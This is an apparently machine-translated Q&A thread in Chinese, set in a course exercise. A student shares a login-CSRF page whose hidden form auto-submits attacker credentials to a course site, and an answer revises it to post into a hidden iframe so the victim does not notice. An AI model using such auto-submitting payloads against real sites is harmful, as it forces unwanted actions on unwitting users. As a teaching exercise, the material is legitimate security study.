我正在为我的课程练习CSRF攻击,我必须通过创建一个虚假的网站来攻击虚拟网站。页。我有以下代码
csrf.html
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<script>
document.csrf_form.submit();
</script>
</body>
上述代码完美无缺,但每次打开 csrf.html 时,它都会打开course_website
页面。我只是希望它保留在 csrf.html 上,而不是重定向/打开新标签页。
在浏览了SO之后(我不太了解js ..),我试过了
<script>
document.csrf_form.submit(function(){
return false;
});
</script>
并在表单中添加onsubmit = return false;
,但都不起作用。
这里最好的事情是什么?
PS:不确定这是否会发生任何变化,但我在表单中使用action
反对target
,因为一个有效,另一个没有。我需要注意什么?
答案 0 :(得分:3)
但是我使用行动反对我的形式作为目标,因为一个有效,另一个没有
target
和action
完全不同。
action
指定发送请求的网址。 target
指定在如果您不想离开当前页面,则需要将target
指定为框架或新窗口。省略它是因为新页面在当前窗口中加载并替换包含表单的文档。
如果还可以(有点)通过取消表单提交而不离开页面提交表单,然后使用JavaScript(通常通过XMLHttpRequest
对象)进行模拟。但是,CSRF攻击将是跨域起源的,因此该方法可能会因同源策略而失败。
答案 1 :(得分:1)
E.g。您的代码中的上述答案
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' target='hiddenFrame' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<iframe name='hiddenFrame' style='display:none'></iframe>
<script>
document.csrf_form.submit();
</script>
</body>